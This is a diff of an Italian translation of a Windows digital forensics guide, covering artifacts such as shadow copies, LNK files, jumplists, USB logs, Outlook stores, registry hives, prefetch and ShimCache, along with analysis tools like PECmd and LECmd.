Avendo questi file è possibile utilizzare lo strumento [**Rifiuti**](https://github.com/abelcheung/rifiuti2) per ottenere l'indirizzo originale dei file eliminati e la data in cui sono stati eliminati (usare `rifiuti-vista.exe` per Vista – Win10).
|
||||
```
|
||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
|
||||
|
||||
### Copie Shadow del Volume
|
||||
### Copie delle ombre del volume
|
||||
|
||||
Shadow Copy è una tecnologia inclusa in Microsoft Windows che può creare **copia di backup** o snapshot di file o volumi del computer, anche quando sono in uso.
|
||||
Shadow Copy è una tecnologia inclusa in Microsoft Windows che può creare **copie di backup** o snapshot dei file o volumi del computer, anche quando sono in uso.
|
||||
|
||||
Questi backup sono di solito situati in `\System Volume Information` dalla radice del file system e il nome è composto da **UID** mostrati nell'immagine seguente:
|
||||
Questi backup sono di solito situati in `\System Volume Information` dalla radice del sistema di file e il nome è composto da **UID** mostrati nell'immagine seguente:
|
||||
|
||||
![](<../../../.gitbook/assets/image (520).png>)
|
||||
|
||||
Montando l'immagine forense con **ArsenalImageMounter**, lo strumento [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) può essere utilizzato per ispezionare una copia shadow e persino **estrarre i file** dai backup delle copie shadow.
|
||||
Montando l'immagine forense con **ArsenalImageMounter**, lo strumento [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) può essere utilizzato per ispezionare una copia delle ombre e persino **estrarre i file** dai backup delle copie delle ombre.
|
||||
|
||||
![](<../../../.gitbook/assets/image (521).png>)
|
||||
|
||||
|
@ -68,38 +72,38 @@ L'entry del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Backup
|
|||
|
||||
![](<../../../.gitbook/assets/image (522).png>)
|
||||
|
||||
Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione sulle `Copie Shadow del Volume`.
|
||||
Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione sulle `Volume Shadow Copies`.
|
||||
|
||||
### File AutoSalvati di Office
|
||||
### File di salvataggio automatico di Office
|
||||
|
||||
È possibile trovare i file auto-salvati di Office in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
È possibile trovare i file di salvataggio automatico di Office in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## Elementi della Shell
|
||||
## Elementi della shell
|
||||
|
||||
Un elemento della shell è un elemento che contiene informazioni su come accedere a un altro file.
|
||||
|
||||
### Documenti Recenti (LNK)
|
||||
### Documenti recenti (LNK)
|
||||
|
||||
Windows **crea automaticamente** questi **collegamenti** quando l'utente **apre, utilizza o crea un file** in:
|
||||
|
||||
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||
|
||||
Quando viene creata una cartella, viene creato anche un collegamento alla cartella, alla cartella genitore e alla cartella del nonno.
|
||||
Quando viene creato una cartella, viene creato anche un collegamento alla cartella, alla cartella genitore e alla cartella nonna.
|
||||
|
||||
Questi file di collegamento creati automaticamente **contengono informazioni sull'origine** come se fosse un **file** **o** una **cartella**, **tempi MAC** di quel file, **informazioni sul volume** in cui è memorizzato il file e **cartella del file di destinazione**. Queste informazioni possono essere utili per recuperare quei file nel caso in cui siano stati rimossi.
|
||||
Questi file di collegamento creati automaticamente **contengono informazioni sull'origine** come se si tratti di un **file** o di una **cartella**, **orari MAC** di quel file, **informazioni sul volume** di dove è memorizzato il file e **cartella del file di destinazione**. Queste informazioni possono essere utili per recuperare quei file nel caso in cui siano stati rimossi.
|
||||
|
||||
Inoltre, la **data di creazione del collegamento** è il primo **momento** in cui il file originale è stato **utilizzato per la prima volta** e la **data di modifica** del collegamento è l'**ultimo momento** in cui il file di origine è stato utilizzato.
|
||||
Inoltre, la **data di creazione del file di collegamento** è il primo **momento** in cui il file originale è stato **utilizzato per la prima volta** e la **data di modifica** del file di collegamento è l'**ultimo momento** in cui il file di origine è stato utilizzato.
|
||||
|
||||
Per ispezionare questi file è possibile utilizzare [**LinkParser**](http://4discovery.com/our-tools/).
|
||||
|
||||
In questo strumento troverai **2 set** di timestamp:
|
||||
|
||||
* **Primo Set:**
|
||||
* **Primo set:**
|
||||
1. FileModifiedDate
|
||||
2. FileAccessDate
|
||||
3. FileCreationDate
|
||||
* **Secondo Set:**
|
||||
* **Secondo set:**
|
||||
1. LinkModifiedDate
|
||||
2. LinkAccessDate
|
||||
3. LinkCreationDate.
|
||||
|
@ -110,23 +114,21 @@ Il primo set di timestamp fa riferimento ai **timestamp del file stesso**. Il se
|
|||
```
|
||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
```
|
||||
In questo caso, le informazioni verranno salvate all'interno di un file CSV.
|
||||
|
||||
### Jumplists
|
||||
|
||||
Questi sono i file recenti indicati per applicazione. È l'elenco dei **file recenti utilizzati da un'applicazione** a cui è possibile accedere su ogni applicazione. Possono essere creati **automaticamente o personalizzati**.
|
||||
Questi sono i file recenti indicati per applicazione. È l'elenco dei **file recenti utilizzati da un'applicazione** a cui è possibile accedere su ciascuna applicazione. Possono essere creati **automaticamente o personalizzati**.
|
||||
|
||||
Le **jumplists** create automaticamente vengono memorizzate in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Le jumplists sono denominate seguendo il formato `{id}.autmaticDestinations-ms` dove l'ID iniziale è l'ID dell'applicazione.
|
||||
I **jumplists** creati automaticamente sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. I jumplists sono nominati seguendo il formato `{id}.autmaticDestinations-ms` dove l'ID iniziale è l'ID dell'applicazione.
|
||||
|
||||
Le jumplists personalizzate vengono memorizzate in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` e vengono create dall'applicazione di solito perché è successo qualcosa di **importante** con il file (forse contrassegnato come preferito).
|
||||
I jumplists personalizzati sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` e sono creati dall'applicazione di solito perché è successo qualcosa di **importante** con il file (forse contrassegnato come preferito).
|
||||
|
||||
Il **tempo di creazione** di qualsiasi jumplist indica **la prima volta in cui il file è stato accesso** e il **tempo di modifica l'ultima volta**.
|
||||
|
||||
È possibile ispezionare le jumplists utilizzando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
È possibile ispezionare i jumplists utilizzando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
![](<../../../.gitbook/assets/image (474).png>)
|
||||
|
||||
(_Nota che i timestamp forniti da JumplistExplorer sono relativi al file jumplist stesso_)
|
||||
(Si noti che i timestamp forniti da JumplistExplorer sono relativi al file jumplist stesso)
|
||||
|
||||
### Shellbags
|
||||
|
||||
|
@ -134,27 +136,27 @@ Il **tempo di creazione** di qualsiasi jumplist indica **la prima volta in cui i
|
|||
|
||||
## Utilizzo delle chiavette USB di Windows
|
||||
|
||||
È possibile identificare l'utilizzo di un dispositivo USB grazie alla creazione di:
|
||||
È possibile identificare l'uso di un dispositivo USB grazie alla creazione di:
|
||||
|
||||
* Cartella Recent di Windows
|
||||
* Cartella Recent di Microsoft Office
|
||||
* Jumplists
|
||||
|
||||
Nota che alcuni file LNK invece di puntare al percorso originale, puntano alla cartella WPDNSE:
|
||||
Si noti che alcuni file LNK invece di puntare al percorso originale, puntano alla cartella WPDNSE:
|
||||
|
||||
![](<../../../.gitbook/assets/image (476).png>)
|
||||
|
||||
I file nella cartella WPDNSE sono una copia di quelli originali, quindi non sopravviveranno a un riavvio del PC e l'ID viene preso da una shellbag.
|
||||
I file nella cartella WPDNSE sono una copia di quelli originali, quindi non sopravviveranno a un riavvio del PC e il GUID è preso da una shellbag.
|
||||
|
||||
### Informazioni del Registro di sistema
|
||||
### Informazioni del Registro di Sistema
|
||||
|
||||
[Controlla questa pagina per saperne di più](interesting-windows-registry-keys.md#usb-information) su quali chiavi di registro contengono informazioni interessanti sui dispositivi USB collegati.
|
||||
|
||||
### setupapi
|
||||
|
||||
Controlla il file `C:\Windows\inf\setupapi.dev.log` per ottenere i timestamp su quando è stata effettuata la connessione USB (cerca `Section start`).
|
||||
Controlla il file `C:\Windows\inf\setupapi.dev.log` per ottenere i timestamp su quando è stata prodotta la connessione USB (cerca `Section start`).
|
||||
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
|
@ -164,7 +166,7 @@ Controlla il file `C:\Windows\inf\setupapi.dev.log` per ottenere i timestamp su
|
|||
|
||||
### Pulizia Plug and Play
|
||||
|
||||
Il task pianificato noto come 'Pulizia Plug and Play' è principalmente progettato per la rimozione delle versioni obsolete dei driver. Contrariamente al suo scopo specificato di mantenere la versione più recente del pacchetto di driver, fonti online suggeriscono che miri anche ai driver inattivi da 30 giorni. Di conseguenza, i driver per dispositivi rimovibili non collegati negli ultimi 30 giorni potrebbero essere soggetti a cancellazione.
|
||||
Il task pianificato noto come 'Pulizia Plug and Play' è principalmente progettato per la rimozione delle versioni obsolete dei driver. Contrariamente al suo scopo specificato di mantenere la versione più recente del pacchetto driver, fonti online suggeriscono che miri anche ai driver inattivi da 30 giorni. Di conseguenza, i driver per dispositivi rimovibili non collegati negli ultimi 30 giorni potrebbero essere soggetti a cancellazione.
|
||||
|
||||
Il task si trova nel seguente percorso:
|
||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
@ -174,14 +176,14 @@ Viene fornita un'immagine che mostra il contenuto del task:
|
|||
|
||||
**Componenti chiave e impostazioni del task:**
|
||||
- **pnpclean.dll**: Questa DLL è responsabile del processo effettivo di pulizia.
|
||||
- **UseUnifiedSchedulingEngine**: Impostato su `TRUE`, indica l'utilizzo del motore di pianificazione dei task generico.
|
||||
- **UseUnifiedSchedulingEngine**: Impostato su `TRUE`, indicando l'uso del motore di pianificazione delle attività generico.
|
||||
- **MaintenanceSettings**:
|
||||
- **Period ('P1M')**: Indica al Task Scheduler di avviare il task di pulizia mensilmente durante la manutenzione automatica regolare.
|
||||
- **Deadline ('P2M')**: Istruisce il Task Scheduler, se il task fallisce per due mesi consecutivi, di eseguire il task durante la manutenzione automatica di emergenza.
|
||||
|
||||
Questa configurazione garantisce la manutenzione e la pulizia regolare dei driver, con disposizioni per riprovare il task in caso di fallimenti consecutivi.
|
||||
Questa configurazione garantisce una manutenzione regolare e la pulizia dei driver, con disposizioni per ripetere il task in caso di fallimenti consecutivi.
|
||||
|
||||
**Per ulteriori informazioni, consulta:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
**Per ulteriori informazioni controlla:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
## Email
|
||||
|
||||
|
@ -196,36 +198,36 @@ Inoltre, all'interno degli header `References` e `In-Reply-To` è possibile trov
|
|||
|
||||
### App Mail di Windows
|
||||
|
||||
Questa applicazione salva le email in formato HTML o testo. È possibile trovare le email all'interno delle sottocartelle all'interno di `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Le email vengono salvate con l'estensione `.dat`.
|
||||
Questa applicazione salva le email in HTML o testo. È possibile trovare le email all'interno delle sottocartelle all'interno di `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Le email sono salvate con l'estensione `.dat`.
|
||||
|
||||
I **metadati** delle email e i **contatti** possono essere trovati all'interno del database **EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
I **metadati** delle email e i **contatti** possono essere trovati all'interno del **database EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
**Cambia l'estensione** del file da `.vol` a `.edb` e puoi utilizzare lo strumento [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) per aprirlo. All'interno della tabella `Message` è possibile visualizzare le email.
|
||||
|
||||
### Microsoft Outlook
|
||||
|
||||
Quando vengono utilizzati server Exchange o client Outlook, ci saranno alcuni header MAPI:
|
||||
Quando vengono utilizzati server Exchange o client Outlook ci saranno alcuni header MAPI:
|
||||
|
||||
* `Mapi-Client-Submit-Time`: Ora del sistema in cui è stata inviata l'email
|
||||
* `Mapi-Conversation-Index`: Numero di messaggi figli del thread e timestamp di ogni messaggio del thread
|
||||
* `Mapi-Conversation-Index`: Numero di messaggi figli del thread e timestamp di ciascun messaggio del thread
|
||||
* `Mapi-Entry-ID`: Identificatore del messaggio.
|
||||
* `Mappi-Message-Flags` e `Pr_last_Verb-Executed`: Informazioni sul client MAPI (messaggio letto? non letto? risposto? reindirizzato? fuori sede?)
|
||||
* `Mappi-Message-Flags` e `Pr_last_Verb-Executed`: Informazioni sul client MAPI (messaggio letto? non letto? risposto? inoltrato? fuori sede?)
|
||||
|
||||
Nel client Microsoft Outlook, tutti i messaggi inviati/ricevuti, i dati dei contatti e i dati del calendario vengono memorizzati in un file PST in:
|
||||
Nel client Microsoft Outlook, tutti i messaggi inviati/ricevuti, i dati dei contatti e i dati del calendario sono memorizzati in un file PST in:
|
||||
|
||||
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
||||
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||
|
||||
Il percorso del registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica il file che viene utilizzato.
|
||||
Il percorso nel registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica il file che viene utilizzato.
|
||||
|
||||
È possibile aprire il file PST utilizzando lo strumento [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
|
||||
|
||||
![](<../../../.gitbook/assets/image (485).png>)
|
||||
### File OST di Microsoft Outlook
|
||||
|
||||
Un file **OST** viene generato da Microsoft Outlook quando è configurato con un server **IMAP** o **Exchange**, memorizzando informazioni simili a un file PST. Questo file viene sincronizzato con il server, conservando i dati degli **ultimi 12 mesi** fino a una **dimensione massima di 50 GB**, ed è situato nella stessa directory del file PST. Per visualizzare un file OST, può essere utilizzato il [**visualizzatore OST Kernel**](https://www.nucleustechnologies.com/ost-viewer.html).
|
||||
Un file **OST** è generato da Microsoft Outlook quando è configurato con **IMAP** o un server **Exchange**, memorizzando informazioni simili a un file PST. Questo file è sincronizzato con il server, conservando i dati degli **ultimi 12 mesi** fino a una **dimensione massima di 50GB**, ed è situato nella stessa directory del file PST. Per visualizzare un file OST, può essere utilizzato il [**visualizzatore OST Kernel**](https://www.nucleustechnologies.com/ost-viewer.html).
|
||||
|
||||
### Recupero degli allegati
|
||||
### Recupero degli Allegati
|
||||
|
||||
Gli allegati persi potrebbero essere recuperabili da:
|
||||
|
||||
|
@ -236,75 +238,75 @@ Gli allegati persi potrebbero essere recuperabili da:
|
|||
|
||||
**Thunderbird** utilizza file **MBOX** per memorizzare i dati, situati in `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||
|
||||
### Anteprime delle immagini
|
||||
### Miniature delle Immagini
|
||||
|
||||
- **Windows XP e 8-8.1**: L'accesso a una cartella con anteprime genera un file `thumbs.db` che memorizza anteprime delle immagini, anche dopo l'eliminazione.
|
||||
- **Windows 7/10**: `thumbs.db` viene creato quando viene acceduto tramite un percorso UNC tramite una rete.
|
||||
- **Windows XP e 8-8.1**: Accedendo a una cartella con miniature si genera un file `thumbs.db` che memorizza anteprime delle immagini, anche dopo l'eliminazione.
|
||||
- **Windows 7/10**: `thumbs.db` viene creato quando si accede tramite rete tramite percorso UNC.
|
||||
- **Windows Vista e versioni successive**: Le anteprime delle miniature sono centralizzate in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con file denominati **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) e [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) sono strumenti per visualizzare questi file.
|
||||
|
||||
### Informazioni del Registro di sistema di Windows
|
||||
### Informazioni nel Registro di Windows
|
||||
|
||||
Il Registro di sistema di Windows, che memorizza dati estesi sull'attività di sistema e degli utenti, è contenuto in file in:
|
||||
Il Registro di Windows, che memorizza dati estesi sul sistema e sull'attività dell'utente, è contenuto in file in:
|
||||
|
||||
- `%windir%\System32\Config` per diverse sottochiavi di `HKEY_LOCAL_MACHINE`.
|
||||
- `%windir%\System32\Config` per varie sottochiavi di `HKEY_LOCAL_MACHINE`.
|
||||
- `%UserProfile%{User}\NTUSER.DAT` per `HKEY_CURRENT_USER`.
|
||||
- Le versioni di Windows Vista e successive eseguono il backup dei file del Registro di sistema di `HKEY_LOCAL_MACHINE` in `%Windir%\System32\Config\RegBack\`.
|
||||
- Inoltre, le informazioni sull'esecuzione dei programmi vengono memorizzate in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` a partire da Windows Vista e Windows 2008 Server.
|
||||
- Windows Vista e versioni successive effettuano il backup dei file del registro di `HKEY_LOCAL_MACHINE` in `%Windir%\System32\Config\RegBack\`.
|
||||
- Inoltre, le informazioni sull'esecuzione dei programmi sono memorizzate in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` da Windows Vista e Windows 2008 Server in poi.
|
||||
|
||||
### Strumenti
|
||||
|
||||
Alcuni strumenti sono utili per analizzare i file del Registro di sistema:
|
||||
Alcuni strumenti sono utili per analizzare i file di registro:
|
||||
|
||||
* **Editor del Registro di sistema**: È installato in Windows. È un'interfaccia grafica per navigare nel Registro di sistema di Windows della sessione corrente.
|
||||
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Consente di caricare il file del Registro di sistema e navigare attraverso di esso con un'interfaccia grafica. Contiene anche segnalibri che evidenziano chiavi con informazioni interessanti.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Anche questo ha un'interfaccia grafica che consente di navigare nel Registro di sistema caricato e contiene plugin che evidenziano informazioni interessanti all'interno del Registro di sistema caricato.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Un'altra applicazione grafica in grado di estrarre le informazioni importanti dal Registro di sistema caricato.
|
||||
* **Editor del Registro**: È installato in Windows. È un'interfaccia grafica per navigare nel registro di Windows della sessione corrente.
|
||||
* [**Esploratore del Registro**](https://ericzimmerman.github.io/#!index.md): Consente di caricare il file di registro e navigarvi con un'interfaccia grafica. Contiene anche Segnalibri che evidenziano chiavi con informazioni interessanti.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ha nuovamente un'interfaccia grafica che consente di navigare nel registro caricato e contiene anche plugin che evidenziano informazioni interessanti all'interno del registro caricato.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Un'altra applicazione GUI in grado di estrarre le informazioni importanti dal registro caricato.
|
||||
|
||||
### Recupero di elementi eliminati
|
||||
### Recupero di Elementi Eliminati
|
||||
|
||||
Quando una chiave viene eliminata, viene contrassegnata come tale, ma finché lo spazio che occupa non è necessario, non verrà rimossa. Pertanto, utilizzando strumenti come **Registry Explorer**, è possibile recuperare queste chiavi eliminate.
|
||||
Quando una chiave viene eliminata, viene contrassegnata come tale, ma finché lo spazio che occupa non è necessario non verrà rimossa. Pertanto, utilizzando strumenti come **Registry Explorer** è possibile recuperare queste chiavi eliminate.
|
||||
|
||||
### Ora dell'ultima modifica
|
||||
### Ultima Data di Modifica
|
||||
|
||||
Ogni chiave-valore contiene un **timestamp** che indica l'ultima volta in cui è stata modificata.
|
||||
Ogni Chiave-Valore contiene un **timestamp** che indica l'ultima volta in cui è stata modificata.
|
||||
|
||||
### SAM
|
||||
|
||||
Il file/hive **SAM** contiene gli hash delle **password degli utenti, gruppi e utenti** del sistema.
|
||||
Il file/hive **SAM** contiene gli **hash delle password degli utenti, gruppi e utenti** del sistema.
|
||||
|
||||
In `SAM\Domains\Account\Users` è possibile ottenere il nome utente, l'RID, l'ultimo accesso, l'ultimo accesso non riuscito, il contatore di accessi, la politica delle password e la data di creazione dell'account. Per ottenere gli **hash**, è necessario anche il file/hive **SYSTEM**.
|
||||
In `SAM\Domains\Account\Users` è possibile ottenere il nome utente, il RID, l'ultimo accesso, l'ultimo accesso fallito, il contatore di accessi, la politica delle password e la data di creazione dell'account. Per ottenere gli **hash** è necessario anche il file/hive **SYSTEM**.
|
||||
|
||||
### Voci interessanti nel Registro di sistema di Windows
|
||||
### Voci Interessanti nel Registro di Windows
|
||||
|
||||
{% content-ref url="interesting-windows-registry-keys.md" %}
|
||||
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Programmi eseguiti
|
||||
## Programmi Eseguiti
|
||||
|
||||
### Processi di base di Windows
|
||||
### Processi di Base di Windows
|
||||
|
||||
In [questo post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) puoi apprendere informazioni sui processi comuni di Windows per rilevare comportamenti sospetti.
|
||||
In [questo post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) è possibile apprendere sui processi comuni di Windows per rilevare comportamenti sospetti.
|
||||
|
||||
### App recenti di Windows
|
||||
### Applicazioni Recenti di Windows
|
||||
|
||||
All'interno del registro `NTUSER.DAT` nel percorso `Software\Microsoft\Current Version\Search\RecentApps` puoi trovare sottochiavi con informazioni sull'**applicazione eseguita**, l'**ultima volta** in cui è stata eseguita e il **numero di volte** in cui è stata avviata.
|
||||
All'interno del registro `NTUSER.DAT` nel percorso `Software\Microsoft\Current Version\Search\RecentApps` è possibile trovare sottochiavi con informazioni sull'**applicazione eseguita**, l'**ultima volta** in cui è stata eseguita e il **numero di volte** in cui è stata avviata.
|
||||
|
||||
### BAM (Background Activity Moderator)
|
||||
### BAM (Moderatore Attività di Background)
|
||||
|
||||
Puoi aprire il file `SYSTEM` con un editor del registro e all'interno del percorso `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puoi trovare le informazioni sulle **applicazioni eseguite da ciascun utente** (nota l'{SID} nel percorso) e l'**ora** in cui sono state eseguite (l'ora è all'interno del valore Data del registro).
|
||||
È possibile aprire il file `SYSTEM` con un editor del registro e all'interno del percorso `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` è possibile trovare le informazioni sulle **applicazioni eseguite da ciascun utente** (nota il `{SID}` nel percorso) e a **che ora** sono state eseguite (l'ora è all'interno del valore dei dati del registro).
|
||||
|
||||
### Prefetch di Windows
|
||||
|
||||
Il prefetching è una tecnica che consente a un computer di **recuperare silenziosamente le risorse necessarie per visualizzare contenuti** che un utente **potrebbe accedere in futuro** in modo da poter accedere alle risorse più rapidamente.
|
||||
Il prefetching è una tecnica che consente a un computer di **recuperare silenziosamente le risorse necessarie per visualizzare contenuti** a cui un utente **potrebbe accedere nel prossimo futuro** in modo che le risorse possano essere accessibili più rapidamente.
|
||||
|
||||
Il prefetch di Windows consiste nella creazione di **cache dei programmi eseguiti** per poterli caricare più velocemente. Queste cache vengono create come file `.pf` nel percorso: `C:\Windows\Prefetch`. C'è un limite di 128 file in XP/VISTA/WIN7 e 1024 file in Win8/Win10.
|
||||
Il prefetch di Windows consiste nel creare **cache dei programmi eseguiti** per poterli caricare più velocemente. Queste cache vengono create come file `.pf` nel percorso: `C:\Windows\Prefetch`. Vi è un limite di 128 file in XP/VISTA/WIN7 e 1024 file in Win8/Win10.
|
||||
|
||||
Il nome del file viene creato come `{nome_programma}-{hash}.pf` (l'hash è basato sul percorso e sugli argomenti dell'eseguibile). In W10 questi file sono compressi. Tieni presente che la sola presenza del file indica che **il programma è stato eseguito** in qualche momento.
|
||||
Il nome del file è creato come `{nome_programma}-{hash}.pf` (l'hash si basa sul percorso e sugli argomenti dell'eseguibile). In W10 questi file sono compressi. Si noti che la sola presenza del file indica che **il programma è stato eseguito** in qualche momento.
|
||||
|
||||
Il file `C:\Windows\Prefetch\Layout.ini` contiene i **nomi delle cartelle dei file che vengono prefetchati**. Questo file contiene **informazioni sul numero delle esecuzioni**, **date** dell'esecuzione e **file** **aperti** dal programma.
|
||||
Il file `C:\Windows\Prefetch\Layout.ini` contiene i **nomi delle cartelle dei file prefetchati**. Questo file contiene **informazioni sul numero delle esecuzioni**, **date** dell'esecuzione e **file** **aperti** dal programma.
|
||||
|
||||
Per ispezionare questi file puoi utilizzare lo strumento [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||
Per ispezionare questi file è possibile utilizzare lo strumento [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
|
@ -312,20 +314,20 @@ Per ispezionare questi file puoi utilizzare lo strumento [**PEcmd.exe**](https:/
|
|||
|
||||
### Superprefetch
|
||||
|
||||
**Superprefetch** ha lo stesso obiettivo del prefetch, **caricare i programmi più velocemente** prevedendo cosa verrà caricato successivamente. Tuttavia, non sostituisce il servizio di prefetch.\
|
||||
**Superprefetch** ha lo stesso obiettivo del prefetch, **caricare i programmi più velocemente** prevedendo cosa verrà caricato successivamente. Tuttavia, non sostituisce il servizio prefetch.\
|
||||
Questo servizio genererà file di database in `C:\Windows\Prefetch\Ag*.db`.
|
||||
|
||||
In questi database è possibile trovare il **nome** del **programma**, il **numero** di **esecuzioni**, i **file** **aperti**, il **volume** **accessato**, il **percorso** **completo**, gli **intervalli di tempo** e i **timestamp**.
|
||||
In questi database è possibile trovare il **nome** del **programma**, il **numero** di **esecuzioni**, i **file** **aperti**, il **volume** **accessato**, il **percorso completo**, i **periodi temporali** e i **timestamp**.
|
||||
|
||||
È possibile accedere a queste informazioni utilizzando lo strumento [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
|
||||
|
||||
### SRUM
|
||||
|
||||
**System Resource Usage Monitor** (SRUM) **monitora** le **risorse** **consumate** **da un processo**. È apparso in W8 e memorizza i dati in un database ESE situato in `C:\Windows\System32\sru\SRUDB.dat`.
|
||||
**System Resource Usage Monitor** (SRUM) **monitora** le **risorse consumate da un processo**. È apparso in W8 e memorizza i dati in un database ESE situato in `C:\Windows\System32\sru\SRUDB.dat`.
|
||||
|
||||
Fornisce le seguenti informazioni:
|
||||
|
||||
* AppID e percorso
|
||||
* AppID e Percorso
|
||||
* Utente che ha eseguito il processo
|
||||
* Byte inviati
|
||||
* Byte ricevuti
|
||||
|
@ -341,17 +343,17 @@ Queste informazioni vengono aggiornate ogni 60 minuti.
|
|||
```
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
L'**AppCompatCache**, noto anche come **ShimCache**, fa parte del **Database di compatibilità delle applicazioni** sviluppato da **Microsoft** per affrontare i problemi di compatibilità delle applicazioni. Questo componente di sistema registra diverse informazioni sui file, tra cui:
|
||||
Il **AppCompatCache**, noto anche come **ShimCache**, fa parte del **Database di compatibilità delle applicazioni** sviluppato da **Microsoft** per affrontare problemi di compatibilità delle applicazioni. Questo componente di sistema registra vari metadati dei file, tra cui:
|
||||
|
||||
- Percorso completo del file
|
||||
- Dimensione del file
|
||||
- Ultima modifica sotto **$Standard\_Information** (SI)
|
||||
- Ultimo aggiornamento di ShimCache
|
||||
- Ultima ora di modifica sotto **$Standard\_Information** (SI)
|
||||
- Ultima ora di aggiornamento del ShimCache
|
||||
- Flag di esecuzione del processo
|
||||
|
||||
Questi dati vengono memorizzati nel registro di sistema in posizioni specifiche in base alla versione del sistema operativo:
|
||||
Tali dati sono memorizzati nel registro in posizioni specifiche in base alla versione del sistema operativo:
|
||||
|
||||
- Per XP, i dati vengono memorizzati in `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` con una capacità di 96 voci.
|
||||
- Per XP, i dati sono memorizzati in `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` con una capacità di 96 voci.
|
||||
- Per Server 2003, così come per le versioni di Windows 2008, 2012, 2016, 7, 8 e 10, il percorso di archiviazione è `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, con una capacità rispettivamente di 512 e 1024 voci.
|
||||
|
||||
Per analizzare le informazioni memorizzate, si consiglia di utilizzare lo strumento [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
|
||||
|
@ -360,38 +362,38 @@ Per analizzare le informazioni memorizzate, si consiglia di utilizzare lo strume
|
|||
|
||||
### Amcache
|
||||
|
||||
